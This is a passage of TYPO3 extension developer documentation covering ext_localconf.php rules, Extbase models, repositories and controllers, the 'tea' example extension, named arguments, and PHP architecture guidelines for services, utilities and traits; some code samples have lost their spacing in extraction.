The files ext_tables.php and ext_localconf.php
contain configuration used by the system and in
requests. They should therefore be optimized for speed.
See File structure for a full list of file and
directory names typically used in extensions.
Warning
The content of the files ext_localconf.php and
ext_tables.phpmust not be wrapped in a
local namespace by extension authors. This would lead to nested namespaces
causing PHP errors that can only be solved by clearing the caches via the
Install Tool.
Rules and best practices
The following apply for both
ext_tables.php and
ext_localconf.php.
As a rule of thumb: Your ext_tables.php and ext_localconf.php
files must be designed in a way
that they can safely be read and subsequently imploded into one single
file with all configuration of other extensions.
You must not use a
return statement in the file's global scope -
that would make the cached script concept break.
You must not rely on the PHP constant
__FILE__ for detection of
the include path of the script - the configuration might be executed from
a cached file with a different location and therefore such information should
be derived from, for example,
\TYPO3\CMS\Core\Utility\GeneralUtility::getFileAbsFileName() or
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::extPath().
You must not wrap the file in a local namespace. This will result in
nested namespaces.
Diff of EXT:my_extension/ext_localconf.php | EXT:my_extension/ext_tables.php
-namespace {-}
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You can use
use statements starting with TYPO3 v11.4:
Diff of EXT:my_extension/ext_localconf.php | EXT:my_extension/ext_tables.php
// you can use use:
+use TYPO3\CMS\Core\Resource\Security\FileMetadataPermissionsAspect;++$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_tcemain.php']['processDatamapClass'][] =+ FileMetadataPermissionsAspect::class;
// Instead of the full class name:
-$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_tcemain.php']['processDatamapClass'][] =- \TYPO3\CMS\Core\Resource\Security\FileMetadataPermissionsAspect::class;
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You can use
declare(strict_types=1) and similar directives which
must be placed at the very top of files. They will be stripped and added
once in the concatenated cache file.
Diff of EXT:my_extension/ext_localconf.php | EXT:my_extension/ext_tables.php
// You can use declare strict and other directives
// which must be placed at the top of the file
+declare(strict_types=1);
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You must not check for values of the removed
TYPO3_MODE or
TYPO3_REQUESTTYPE constants (for example,
if (TYPO3_MODE === 'BE')) or use the
\TYPO3\CMS\Core\Http\ApplicationType enum within these files as
it limits the functionality to cache the whole configuration of the system.
Any extension author should remove the checks, and re-evaluate if these
context-depending checks could go inside the hooks / caller function
directly, for example, do not:
Diff of EXT:my_extension/ext_localconf.php | EXT:my_extension/ext_tables.php
// do NOT do this:
-if (TYPO3_MODE === 'BE')
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You should check for the existence of the constant
defined('TYPO3') or die();
at the top of ext_tables.php and ext_localconf.php files
right after the use statements to make sure the file is
executed only indirectly within TYPO3 context. This is a security measure
since this code in global scope should not be executed through the web
server directly as entry point.
<?phpdeclare(strict_types=1);
useTYPO3\CMS\Core\Utility\ExtensionManagementUtility;
// put this at top of every ext_tables.php and ext_localconf.php right after// the use statements
defined('TYPO3') ordie();
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You must use the extension name (for example, "tt_address") instead of
$_EXTKEY within the two configuration files as this variable is no
longer loaded automatically.
However, due to limitations in the TYPO3 Extension Repository, the
$_EXTKEY option must be kept within an extension's
ext_emconf.php file.
You do not have to use a directly called closure function after dropping
TYPO3 v10.4 support.
<?phpdeclare(strict_types=1);
useMyVendor\MyExtension\MyClass;
defined('TYPO3') ordie();
// Add your code here
MyClass::doSomething();
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Additionally, it is possible to extend TYPO3 in a lot of different ways (adding
TCA, backend routes,
Symfony console commands, etc), which do not
need to touch these files.
Tip
\TYPO3\CMS\Core\Package\PackageManager::getActivePackages() contains
information about whether the module is loaded as local or system type
in the packagePath key, including the proper paths you might use, absolute
and relative.
Software Design Principles
The following principles are considered best practices and are good to know when you develop
extensions for TYPO3.
Object-Oriented Programming (OOP) organizes software design around data, or objects, rather than the functions and logic of procedural programming.
Domain-Driven Design (DDD) is a collection of principles and patterns that help developers design elegant code around clearly defined conceptual models.
Model-View-Controller (MVC) is a programming paradigm that leads to clear isolation of data, presentation layer, and business logic.
Test-Driven Development (TDD) is a basic technique for generating code that is stable,
resilient to errors, and legible — and therefore maintainable.
Dependency Injection is a software design pattern that adds flexibility by removing the need for hard-coded dependencies.
A very common pattern in Extbase extensions is a "DTO" ("Data Transfer Object").
A DTO is an instance of a basic class that usually only has a constructor,
getters and setters. It is not meant to be an extension of an Extbase AbstractEntity.
This DTO serves as pure data storage. You can use it to receive and retrieve
data in a <f:form> fluid
CRUD
("Create Read Update Delete") setup.
Later on, the DTO can be accessed and converted into a "proper" Extbase domain model
entity: The DTO getters retrieve the data, and the Extbase domain model entity's setters
receive that data:
Example of DTO and AbstractEntity used in an Extbase controller
<?phpdeclare(strict_types=1);
// The actual "plain" DTO, just setters and gettersclassPersonDTO{
protected string $first_name;
protected string $last_name;
publicfunctiongetFirstName(): string{
return$this->first_name;
}
publicfunctionsetFirstName(string $first_name): void{
$this->first_name = $first_name;
}
publicfunctiongetLastName(): string{
return$this->last_name;
}
publicfunctionsetLastName(string $last_name): void{
$this->last_name = $last_name;
}
}
// The Extbase domain model entity.// Note that the getters and setters can easily be mapped// to the DTO due to their same names!classPersonextends \TYPO3\CMS\Extbase\DomainObject\AbstractEntity{
protected string $first_name;
protected string $last_name;
publicfunctiongetFirstName(): string{
return$this->first_name;
}
publicfunctionsetFirstName(string $first_name): void{
$this->first_name = $first_name;
}
publicfunctiongetLastName(): string{
return$this->last_name;
}
publicfunctionsetLastName(string $last_name): void{
$this->last_name = $last_name;
}
}
// An Extbase controller utilizing DTO-to-entity transferclassDtoControllerextendsTYPO3\CMS\Extbase\Mvc\Controller\ActionController{
publicfunction__construct(protected MyVendor\MyExtension\Domain\Repository\PersonRepository $personRepository){}
publicfunctioncreateAction(): Psr\Http\Message\ResponseInterface{
// Set up a DTO to be filled with input data.// The Fluid template would use <f:form> and its helpers.$this->view->assign('personDTO', new PersonDTO());
}
publicfunctionsaveAction(PersonDTO $personDTO): Psr\Http\Message\ResponseInterface{
// Transfer all data to a proper Extbase entity.// Create an empty entity first:
$person = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance(Person::class);
// Use setters/getters for propagation
$person->setFirstName($personDTO->getFirstName());
$person->setLastName($personDTO->getLastName());
// Persist the extbase entity$this->personRepository->add($person);
// The "old" DTO needs to further processing.
}
}
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DTOs are helpful because:
They allow to decouple pure data from processed/validated data in entities.
They allow to structure data into distinct data models.
They allow to use good type hinting and using setters/getters instead of using
untyped and unstructured PHP arrays for data storage.
They can be used to hide implementation details of your actual entities by transferring
data like filter settings that internally gets applied to actual data models.
In TYPO3, the order in which extensions are loaded can impact system behavior.
This is especially important when an extension overrides, extends, or modifies
the functionality of another. TYPO3 initializes extensions in a defined order,
and if dependencies are not loaded beforehand, it can lead to unintended
behavior.
Composer-based installations: Loading order via composer.json
In Composer-based installations, extensions and dependencies are
installed based on the configuration in the
composer.json file.
For example, if an extension relies on or modifies functionality provided by
the
ext:felogin system extension, the dependency should be defined
as follows:
This ensures that TYPO3 loads the extension after the
ext:felogin system extension.
Instead of require, extensions can also use the suggest section.
Suggested extensions, if installed, are loaded before the current one —
just like required ones — but without being mandatory.
A typical use case is suggesting an extension that provides optional widgets,
such as for EXT:dashboard.
Classic mode installations: Loading order via ext_emconf.php
In Classic mode installations, extensions are loaded based on the order defined in the
ext_emconf.php file.
For example, if an extension relies on or modifies functionality provided by
the
ext:felogin system extension, the dependency should be defined
as follows:
This ensures that TYPO3 loads the extension after the
ext:felogin system extension.
As with Composer, you can use the suggest section instead of depends.
Suggested extensions, if installed, are loaded before the current one,
without being strictly required.
Keeping the loading order in sync between Composer-based and Classic mode installations
If your extension supports both Composer-based and classic TYPO3 installations,
you should keep dependency information consistent between the
composer.json and
ext_emconf.php files.
This is especially important for managing dependency constraints such as
depends, conflicts, and suggests. Use the equivalent fields in
composer.json — require, conflict, and
suggest — to ensure consistent loading behavior across both installation types.
This section is about the essential components of a TYPO3 extension. It provides a comprehensive overview of the structure and core elements that make up an extension.
tea is a simple, well-tested extension based on Extbase.
This tutorial guides you through the different files,
configuration formats and PHP classes needed for an Extbase
extension. Automatic tests are not covered in this tutorial.
Refer to the extensions manual for this topic.
Install
b13/make
as dev dependency and use it to quickly
create a new extension. It can also support you in creating console
commands, backend controllers, middlewares, and event handlers. It
creates no unnecessary files as opposed to some of the other automatic
extension generators.
"Make" can be used to quickly create an extension with a few
basic commands on the console. "Make" can also be used to
kickstart functionality like console command (CLI), backend
controllers and event listeners. It does not offer to kickstart
a site package or an Extbase extension.
The Site Package Builder
can be used to conveniently create an extension containing the
site package (theme) of a site. It can also be used to kickstart
an arbitrary extension by removing unneeded files.
"Make" is a TYPO3 extension provided by b13. It features a quick way to create
a basic extension scaffold on the console. The extension is available for TYPO3 v10 and above.
1. Install "Make"
In Composer-based TYPO3 installations you can install the
extension via Composer, you should install it as
dev dependency as
it should not be used on production systems:
The vendor should be a unique name that is not yet used by other
companies or developers.
Example: my-vendor/my-test
Enter the extension key [my_test]:
The extension key should follow the rules for best practises on
choosing an extension key if you plan to publish
your extension. In most cases, the default, here my_test, is sufficient.
Press enter to accept the default or enter another name.
Enter the PSR-4 namespace [T3docs/MyTest]:
The namespace has to be unique within the project. Usually the default
should be unique, as your vendor is unique, and you can accept it by
pressing enter.
Choose supported TYPO3 versions (comma separate for multiple) [TYPO3 v11 LTS]:
If you want to support both TYPO3 v11 and v12, enter the following:
11,12
Enter a description of the extension:
A description is mandatory. You can change it later in the file
composer.json of the extension.
Where should the extension be created? [src/extensions/]:
If you have a special path for installing local extensions like
packages enter it here. Otherwise you can accept the
default.
May we add a basic service configuration for you? (yes/no) [yes]:
May we create a ext_emconf.php for you? (yes/no) [no]:
Mandatory for extensions supporting TYPO3 v10. Starting with v11:
If your extension should be installable in legacy TYPO3 installations
choose yes. This is not necessary for local extensions in Composer-based
installations.
4. Have a look at the result
"Make" created a subfolder under src/extensions with the
composer name (without vendor) of your extension. By default, it contains
the following files:
Learn how to turn the backend controller into a full-fledged backend module in
the chapter Backend modules API.
Create a new console command
The "Make" extension can be used to create a new console
command:
vendor/bin/typo3 make:command
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typo3/sysext/core/bin/typo3 make:command
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You will be prompted with a list of installed extensions. If your newly created
extension is missing, check if you installed it properly.
Enter the command name to execute on CLI [myextension:dosomething]:
This name will be used to call the command later on. It should be
prefixed with your extensions name without special signs. It is considered
best practise to use the same name as for the controller, in lowercase.
Should the command be schedulable? (yes/no) [no]:
If you want the command to be available in the backend in module
System > Scheduler choose yes. If it should be only callable
from the console, for example if it prompts for input, choose no.
You can now follow the console command tutorial
and learn how to use arguments, user interaction, etc.
Tea in a nutshell
The example extension
ttn/tea
was created as an example of best practises
on automatic code checks.
Hint
If you want to learn more about automatic code checks
see the documentation of tea and the chapter on
Testing in this manual.
In this manual, however we will ignore the testing and just explain how this
example extension works. The extension demonstrates basic functionality and is
very well tested.
Attention
The example extension tea should not be used as a kickstarter or
template for your own extension. It is an example to be
studied and copied from.
If the extension should also be available for Classic mode installations it
also needs a file called ext_emconf.php. This file
contains roughly the same information in a different format. Have a look
at the tab "Classic mode" above.
With just the composer.json present (and for Classic mode installations additionally
ext_emconf.php) you would be able to install the extension
but it would not do anything.
Though not required it is considered best practice for an extension to have an
icon. This icon should have the format .svg or .png and has
to be located at EXT:tea/Resources/Public/Icons/Extension.svg.
The Classes/ folder should contain all the PHP classes provided by the
extension. Otherwise they will not be available in the default
autoloading. (See documentation on the Extension folder Classes for PHP classes folder).
In the composer.json we define that all PHP classes are
automatically loaded from the Classes/ directory (also
defined in file:ext_emconf.php in Classic mode installations):
Can be used to extend the TCA of other extensions. They can be extended
by direct array manipulation or preferably by calls to
API functions.
Configuration/TsConfig/
Contains TSconfig configuration for the TYPO3
backend on page or user level in TypoScript syntax. Our extension
does not contain TSconfig, so the folder is only a placeholder here.
Configuration/TypoScript/
Contains TypoScript configuration for
the frontend. In some contexts the configuration contained here is also
used in the backend.
Configuration/Services.yaml
Is used to configure technical aspects of the extension, including
automatic wiring, automatic configuration and options for
dependency injection. See also
Services.yaml.
Directory Documentation/
The Documentation/ folder contains files from which
documentation is rendered. See Documentation.
The Resources/ folder contains two sub folders that are
further divided up:
Directory structure of EXT:tea
$ tree /path/to/extension/tea
├── Resources
├── Private
| ├── Language
| ├── Layouts
| ├── Partials
| └── Templates
└── Public
├── CSS
├── Icons
├── Images
└── JavaScript
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Resources/Private
All resource files that are not directly loaded by the browser
should go in this directory. This includes Fluid templating files
and localization files.
Resources/Public
All resource files that are directly loaded by the browser
must go in this directory. Otherwise they are not accessible
(depending on the setup of the installation).
Directory Tests/
Contains automatic tests (topic not covered by this tutorial).
Hint
If you want to learn more about automatic code checks
see documentation of tea and the chapter on
Testing in this manual.
Model: a bag of tea
We keep the model basic: Each tea can have a title, a description, and an optional image.
The title and description are strings, the image is stored as a relation
to the model class
\TYPO3\CMS\Extbase\Domain\Model\FileReference , provided
by Extbase.
TCA - Table Configuration Array
Changed in version 13.0
TYPO3 creates the database scheme automatically from the TCA
definition. The file ext_tables.sql can be removed on dropping
TYPO3 12.4 support.
The TCA tells TYPO3 about the database model. It defines all fields
containing data and all semantic fields that have a special meaning within
TYPO3 (like the
deleted field which is used for soft deletion).
The TCA also defines how the corresponding input fields in the backend should look.
The TCA is a nested PHP array. In this example, we need the following
keys on the first level:
ctrl
Settings for the complete table, such as a record title, a label
for a single record, default sorting, and the names of some
internal fields.
columns
Here we define all fields that can be used for user input in the
backend.
types
We only have one type of tea record, however it is mandatory to
describe at least one type. Here we define the order in which
the fields are displayed in the backend.
Defines the title used when we are talking about the table in the backend.
It will be displayed on top of the list view of records in the backend
and in backend forms.
The title of the
tea table.
Strings starting with
LLL: will be replaced with localized text. See chapter
Extension localization. All other strings
will be output as they are. This title will always be output as "Tea" without localization:
All fields that can be changed in the TYPO3 backend or used in the Extbase
model have to be listed here. Otherwise they will not be recognized by TYPO3.
The title of the field is displayed above the input field. The type is a (string)
input field. The other configuration values influence display (size of the input
field) and or processing on saving (
'eval' => 'trim' removes whitespace).
The other text fields are defined in a similar manner.
The image field
Field type File can be used to upload files. As the image
should be an image, we limit the allowed file extensions to the common-image-types.
See also TCA type 'file', property 'allowed'.
The key
showitem lists all fields that should be displayed in the
backend input form, in the order they should be displayed.
Hint
There are more sophisticated ways to influence how the fields are displayed:
You can order them in tabs, put them into palettes etc. See
TCA reference, showitem for
details.
Now the edit form for tea records will look like this:
The complete input form for a tea record.
The list of teas in the module Web -> List looks like this:
A list of teas in the backend.
Note
Up to this point we have only used TYPO3 Core features. You can create
tables and backend forms exactly the same way without using Extbase.
The Extbase model
It is a common practice — though not mandatory — to use PHP objects to store the
data while working on it.
The model is a more abstract representation of the database schema. It provides more advanced data types, way beyond what the database itself can offer. The model can also be used to define validators for the model properties
and to specify relationship types and rules (should relations be loaded
lazily? Should they be deleted if this object is deleted?).
Extbase models extend the
\TYPO3\CMS\Extbase\DomainObject\AbstractEntity class.
The parent classes of this class already offer methods needed for persistence
to database, the identifier
uid etc.
All properties of the model have to have the visibility keyword
protected or
public.
private properties are not supported, as properties have to
be accessed by the repository and persistence and layers internally.
If you want to prevent developers from extending you model, and
accessing the properties of you model, you can make the class of the model
final.
For all
protected properties we need at least a getter with the corresponding
name. If the property should be writable within Extbase, it must also
have a getter. Properties that are only set in backend forms do not
need a setter.
A basic repository can be quite a short class. The shortest possible
repository is an empty class inheriting from
\TYPO3\CMS\Extbase\Persistence\Repository :
The model the repository should deliver is derived from the namespace and
name of the repository. A repository with the fully qualified name
\TTN\Tea\Domain\Repository\Product\TeaRepository therefore delivers
models with the fully qualified name
\TTN\Tea\Domain\Model\Product\Tea
without further configuration.
A special class comment (not mandatory), @extends Repository<Tea> tells your IDE and
static analytic tools like PHPStan that the find-by methods of this repository
return objects of type
\Tea.
The repository in the tea extension looks like this:
We override the protected parameter
$defaultOrderings here. This parameter
is also defined in the parent class
\TYPO3\CMS\Extbase\Persistence\Repository and used here when querying
the database.
The method
$this->teaRepository->findAll() that is called here is
defined in the parent class
\TYPO3\CMS\Extbase\Persistence\Repository .
Controller
The controller controls the flow of data between the view and the
data repository containing the model.
A controller can contain one or more actions. Each of them is a method which
ends on the name "Action" and returns an object of type
\Psr\Http\Message\ResponseInterface .
In the following action a tea object should be displayed in the view:
This action would be displayed if an URL like the following would be requested:
https://www.example.org/myfrontendplugin?tx_tea[action]=show&tx_tea[controller]=tea&tx_tea[tea]=42&chash=whatever.
So where does the model
Tea $tea come from? The only reference we had
to the actual tea to be displayed was the ID
42. In most cases, the
parent class
\TYPO3\CMS\Extbase\Mvc\Controller\ActionController will take care of matching parameters to
objects or models. In more advanced scenarios it is necessary to influence
the parameter matching. But in our scenario it is sufficient to know that this
happens automatically in the controller.
The following action expects no parameters. It fetches all available tea
objects from the repository and hands them over to the view:
The controller has to access the
TeaRepository to find all available tea
objects. We use Dependency Injection to make the
repository available to the controller: The constructor
will be called automatically with an initialized
TeaRepository when
the
TeaController is created.
Both action methods return a call to the method
$this->htmlResponse().
This method is implemented in the parent class
ActionController and is
a shorthand method to create a response from the response factory and attach
the rendered content. Let us have a look at what happens in this method:
Class TYPO3\CMS\Extbase\Mvc\Controller\ActionController
You can also use this code directly in your controller if you need to return
a different HTTP header. If a different rendering from the standard view is
necessary you can just pass the rendered HTML content to this method. There
is also a shorthand method for returning JSON called
jsonResponse().
This basic example requires no actions that are forwarding or redirecting.
Read more about those concepts here: Forward to a different controller.
Components of a TYPO3 extension
Learn about the various components required to create and manage a TYPO3 extension. This includes making the extension installable, creating a new database model accessible via the TYPO3 backend, and making data persistable by Extbase.
Model the database scheme from the TCA or PHP model perspective, then check which fields still have to be added to the ext_tables regarding your TYPO3 version by comparing database model with configuration, read more here
Insert your SQL database schema definition into that file
Each entity is represented by one database table
Table name has the following structure: tx_{extension key without underscores}_domain_model_{entity name}
Each entity property is represented by one database column
Add example-extension/Configuration/TCA/{table name}.php
* In the example: example-extension/Configuration/TCA/tx_exampleextension_domain_model_example.php
The TCA defines types, validation and backend-UI-related parameters for each entity property
* See TCA Reference for further information
Add example-extension/Classes/Domain/Model/{entity name}.php Inside the file create a PHP class matching the filename and extend from`TYPO3\CMS\Extbase\DomainObject\AbstractEntity`
Add database columns as class properties, using type declarations matching your domain model properties
* Add getter and setter for each property
Test if test subject is an instance of the correct superclass
Extension development with Extbase
Extension Development with Extbase @ TYPO3 Developer Days 2019
PHP architecture
Writing excellent PHP code within the TYPO3 framework involves more than just correctly
utilizing the framework's API: It also requires making sound decisions regarding general
PHP architecture.
This chapter addresses general PHP architectural considerations and best
practices, with a focus on TYPO3. It covers both overarching principles of
good PHP architecture relevant to TYPO3 Core developers and best practices
specifically for extension developers.
Named arguments,
also known as “named parameters”, were introduced in PHP 8,
offering a new approach to passing arguments to functions. Instead of relying on
the position of parameters, developers can now specify arguments based on their
corresponding parameter names:
Named arguments example
<?phpfunctioncreateUser($username, $email){
// code to create user
}
createUser(email: 'john.doe@example.com', username: 'john');
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This document discusses the use of named arguments within the TYPO3 Core ecosystem,
outlining best practices for TYPO3 extension and Core developers regarding the
adoption and avoidance of this language feature.
Named arguments in public APIs
The key consideration when using this feature is outlined in the
PHP documentation:
With named parameters, the name of the function/method parameters become part of
the public API, and changing the parameters of a function will be a semantic
versioning breaking-change. This is an undesired effect of named parameters feature.
Utilizing named arguments in extensions
While the TYPO3 Core cannot directly enforce or prohibit the use of named
arguments within extensions, it suggests certain best practices to ensure
forward compatibility:
Avoid named arguments when calling TYPO3 Core API methods unless dealing
with PCPP-based value objects. The TYPO3 Core does not treat variable names as
part of the API and may change them without considering it a breaking change.
TYPO3 Core development
The decision on when to employ named parameters within the TYPO3 Core is carefully
deliberated and codified into distinct sections, each subject to scrutiny within
the Continuous Integration (CI) pipeline to ensure consistency and integrity over time.
It’s important to note that the TYPO3 Core Team will not accept patches that aim
to unilaterally transition the codebase from positional arguments to named arguments
or vice versa without clear further benefits.
Leveraging Named Arguments in PCPP Value Objects
Advancements in the TYPO3 Core codebase emphasize the separation of
functionality and state, leading to the broad utilization of value objects.
Consider the following example:
Value object using public constructor property promotion
final readonly classLabelimplements \JsonSerializable{
publicfunction__construct(
public string $label,
public string $color = '#ff8700',
public int $priority = 0,
){}
publicfunctionjsonSerialize(): array{
return get_object_vars($this);
}
}
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Using public constructor property promotions (PCPP) facilitates object
initialization, representing one of the primary use cases for named arguments
envisioned by PHP developers:
Instantiate a PCPP value object using named arguments
Objects with such class signatures MUST be instantiated using named arguments to
maintain API consistency. Standardizing named argument usage allows the TYPO3
Core to introduce deprecations for argument removals seamlessly.
The TYPO3 Core refrains from employing named arguments when calling library
code ("2nd-party") from dependent packages unless the library explicitly mandates such usage
and defines its variable names as part of the API, a practice seldom observed
currently.
As package consumer, the TYPO3 Core must assume that packages don’t treat their
variable names as API, they may change anytime. If TYPO3 Core would use named
arguments for library calls, this may trigger regressions: Suppose a patch level
release of a library changes a variable name of some method that we call using
named arguments. This would immediately break when TYPO3 projects upgrade to
this patch level release due to the power of semantic versioning. TYPO3 Core must
avoid this scenario.
Invoking Core API
Within the TYPO3 Core, named arguments are not used when invoking its own methods.
There are exceptions in specific scenarios as outlined below, however these are
the reasons for not using named arguments:
TYPO3 Core tries to be as consistent as possible
Setting a good example for extension authors
Avoiding complications and side effects during refactoring
Addressing legacy code within the TYPO3 Core containing methods with less-desirable
variable names, aiming for gradual improvement without disruptions
Preventing issues with inheritance, especially in situations like this:
PHP error using named arguments and inheritance
interfaceI{
publicfunctiontest($foo, $bar);
}
classCimplementsI{
publicfunctiontest($a, $b){}
}
$obj = new C();
// Pass params according to I::test() contract
$obj->test(foo: "foo", bar: "bar"); // ERROR!
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Utilizing named arguments in PHPUnit test data providers
The use of named arguments in PHPUnit test data providers is permitted and
encouraged, particularly when enhancing readability. Take, for example, this
instance where PHPUnit utilizes the array keys
languageKey and
expectedLabels as named arguments in the test:
PHPUnit data provider using named arguments
finalclassXliffParserTestextendsUnitTestCase{
publicstaticfunctioncanParseXliffDataProvider(): \Generator{
yield'Can handle default' => [
'languageKey' => 'default',
'expectedLabels' => [
'label1' => 'This is label #1',
'label2' => 'This is label #2',
'label3' => 'This is label #3',
],
];
yield'Can handle translation' => [
'languageKey' => 'fr',
'expectedLabels' => [
'label1' => 'Ceci est le libellé no. 1',
'label2' => 'Ceci est le libellé no. 2',
'label3' => 'Ceci est le libellé no. 3',
],
];
}
#[DataProvider('canParseXliffDataProvider')]#[Test]publicfunctioncanParseXliff(string $languageKey, array $expectedLabels): void{
// Test implementation
}
}
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Leveraging named arguments when invoking PHP functions
TYPO3 Core may leverage named arguments when calling PHP functions, provided it
enhances readability and simplifies the invocation. It is allowed for functions
with more than three arguments. If named arguments are used, all arguments must
be named, mixtures are not allowed.
Let’s do this by example. Function
json_decode() has this signature:
json_decode() function signature
json_decode(
string $json,
?bool $associative = null,
int $depth = 512,
int $flags = 0
): mixed
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In many cases, the arguments
$associative and
$depth suffice with their
default values, while
$flags typically requires
JSON_THROW_ON_ERROR.
Using named arguments in this scenario, bypassing the default values, results in a
clearer and more readable solution:
Services MUST be used as objects, they are never static.
Services SHOULD be stateless and shared.
Services MAY use their own configuration, but they SHOULD not.
Services MAY have dependencies to other services and SHOULD get them
injected using TYPO3 Core dependency injection.
Rationale
Modern PHP programming primarily involves two types of classes: Services and
data objects (DO).
This distinction has gained significance with the introduction of
dependency injection in the TYPO3 core.
A well-designed service class comprise of one or more methods that process
data, or just provide a data sink. For example, a
mailer service might take a mail data object to send it. Conversely, service
methods often return new or modified data based on input. A typical example is a
repository service that accepts an identifier (e.g. the uid of a product) and returns
a data object (the product).
Services may depend on other services and should use dependency injection to obtain
these dependencies, typically using constructor injection
for "leaf" classes and method injection for abstract classes.
In TYPO3, most classes are service classes unless they function as data objects to
transport data.
Services should be stateless. The result of a service method call should only depend
on the given input arguments and the service should not keep track of previous calls
made. This is an important aspect of well crafted services. It reduces complexity
significantly when a service does not hold data itself: It does not matter
how often or in which context that service may have been called before. It also means
that stateless services can be "shared" and declared
readonly: They are instantiated
only once and the same instance is injected to all dependent services.
TYPO3 core has historically stateful services that blend service class and data object
characteristics. These stateful services pose issues in a service-oriented architecture:
Injecting a stateful service into a stateless service make the latter stateful, potentially
causing unpredictable behavior based on the prior state of the injected service. A clear
example is the core
DataHandler class which modifies numerous data properties when
its primary API methods are called. Such instances become "tainted" after use, and should
not be injected but created on-demand using
GeneralUtility::makeInstance().
Good Examples
\TYPO3\CMS\Core\Configuration\FlexForm\FlexFormTools has been refactored in
TYPO3 v13 to be stateless:
A shared and readonly service with a few dependencies
A clear scope with reasonable API methods
No data properties
Bad Examples
\TYPO3\CMS\Core\DataHandling\DataHandler
Far too complex
Heavily stateful
Service aliases
TYPO3 core provides several service aliases, but
it does not add additional aliases arbitrarily. Injecting state, as in the
extension-configuration example, makes services stateful, which is undesirable
unless the state does not change at runtime. Aliases for services that act as shortcuts
for factories, like the
cache.runtime example, will only be added for services
that are used very frequently.
Service aliases also present backward compatibility challenges when modified.
To avoid excessive clutter, TYPO3 core limits the number of service aliases.
Developers needing aliases for core services can always add them in
instance-specific extensions. The inclusion of such aliases in TYPO3 core will
remain a case-by-case decision.
Utility classes MUST NOT have state, no local properties, no DB
access, … .
Utility methods MAY call other utility methods.
Utility class methods MUST NOT have dependencies to non static
methods like other class instances or global variables.
Utility class methods MUST have high unit test coverage.
Utility class scope MUST be small and domain logic MUST NOT be
encapsulated in static methods.
Utility classes MUST be located in a utility sub folder and MUST end
with
Utility, eg.
FoobarUtility.
Static methods MUST be located in utility classes and SHOULD NOT be
added to other classes, except a specific pattern has a hard
requirement to a static helper method within its class. All classes
outside a utility folder MUST be instantiated and handled as object
instances.
Static methods MUST call other static methods of the same class
using the PHP
self keyword instead of the class name.
Rationale
Static methods as cross-cutting concern solution have been in the Core
ever since. They are an easy way to extract recurring coding problems
to helper methods.
Static methods however have a list of issues that need to be taken
into consideration before deciding to use them. First, they can not be
extended in a sane way and the Core framework has no way to re-route a
static method call to a different implementation. They are a hard coded
dependency in a system. They can not be easily “mocked away” in unit
tests if a class uses a static method from a different class. They
especially raise issues if a static method keeps state in static
properties, this is similar to a de-facto singleton and it is hard to
reset or manipulate this state later. Static properties can easily
result in side effects to different using systems. Additionally, static
methods tend to become too complex, doing too much at a time and
becoming god methods in long run. Big and complex utility methods doing
too much at a time is a strong sign something else was not modeled
properly at a different place.
The Core has a long history of static utility class misuse and is in an
ongoing effort to model stuff correctly and getting rid of static
utility god classes that happily mix different concerns. Solving some
of these utility methods to proper class structures typically improves
code separation significantly and renders Core parts more flexible and
less error prone.
With this history in mind, Core development is rather sensible when new
static utility classes should be added. During reviews, a heavy
introduction of static classes or methods should raise red lights, it
is likely some abstraction went wrong and the problem domain was not
modeled well enough.
A “good” static method in a utility class can be thought of as if the
code itself is directly embedded within the consuming classes. It is
mostly an extraction of a common programming problem that can not be
abstracted within the class hierarchy since multiple different class
hierarchies have the same challenge. Good static methods contain helper
code like dedicated array manipulations or string operations. This is
why the majority of static utility classes is located within the Core
extension in the Core and other extension have little number of utility
classes.
Good static methods calls are not “mocked away” in unit tests of a
system that calls a static method and are thus indirectly tested
together with the system under test as if the code is directly embedded
within the class. It is important to have good test coverage for the
static method itself, defining the method behaviour especially for
edge cases.
Good Examples
Core/Utility/ArrayUtility
Clear scope - array manipulation helpers.
Well documented, distinct and short methods doing only one thing at
a time with decent names and examples.
High test coverage taking care of edge case input output scenarios
acting as additional documentation of the system.
No further dependencies.
Core/Utility/VersionNumberUtility
Clear scope - a group of helper methods to process version number
handling.
Good test coverage defining the edge cases.
Defines how version handling is done in TYPO3 and encapsulates this
concern well.
Bad Examples
Backend/Utility/BackendUtility
Global access, third party dependencies.
Stateful methods.
No clear concern.
God methods.
Core/Utility/MailUtility
Good: Relatively clear focus, but:
Stateful, external dependencies to objects, depends on configuration.
Relatively inflexible.
This should probably “at least” be a service.
Core/Utility/RootlineUtility
Not static.
Should probably be a dedicated class construct, probably a service is not enough. Why is this not part of a tree structure?
Red Flags
$GLOBALS: Utility code should not have dependencies to global
state or global objects.
Traits
Characteristica
A trait MAY access properties or methods of the class it is
embedded in.
A trait MUST be combined with an interface. Classes using a trait
must implement at least this interface.
A trait interface MUST have a default implementation trait.
Rationale
There is one specific feature that traits provide other abstraction
solutions like services or static extraction do not: A trait is
embedded within the class that consumes it and as such can directly
access methods and properties of this class. A trait typically holds
state in a property of the class. If this feature is not needed, traits
should not be used. Thus, the trait itself may even have a dependency
to the class it is embedded in, even if this is rather discouraged.
A simple way to look at this is to see the interface as the main
feature with the trait providing a single or maybe two default
implementations of the interface for a specific class.
One usage of traits is the removal of boilerplate code. While object
creation and dependency injection is still a not resolved issue in the
Core, this area is probably a good example where a couple of traits
would be really useful to autowire default functionality like logging
into classes with very little developer effort and in a simple and
understandable way. It should however be kept in mind that traits must
always be used with care and should stay as a relatively seldom used
solution. This is one reason why the current
getLanguageService()
and similar boilerplate methods are kept within classes directly for
now and is not extracted to traits: Both container system and global
scope objects are currently not finally decided and we don’t want to
have relatively hard to deprecate and remove traits at this point.
Good Examples
\Symfony\Component\DependencyInjection\ContainerAwareInterface with
\Symfony\Component\DependencyInjection\ContainerAwareTrait as default
implementation
The
ContainerAwareInterface is tested to within the
dependency injection system of symfony and the trait is a simple
default implementation that easily adds the interface functionality
to a given class.
Good naming.
Clear scope.
LoggerAwareInterface with a default trait.
Bad Examples
Old
\TYPO3\CMS\FluidStyledContent\ViewHelpers\Menu\MenuViewHelperTrait (available in previous TYPO3 versions)
Contains only protected methods, can not be combined with interface.
Contains
getTypoScriptFrontendController(), hides this
dependency in the consuming class.
No interface.
It would have probably been better to add the trait code to a full
class and just use it in the according view helpers (composition) or
implement it as abstract.
For these reasons the trait has been dissolved into an AbstractMenuViewHelper.
Working with exceptions in a sane way is a frequently asked topic. This
section aims to give some good advice on how to deal with exceptions in
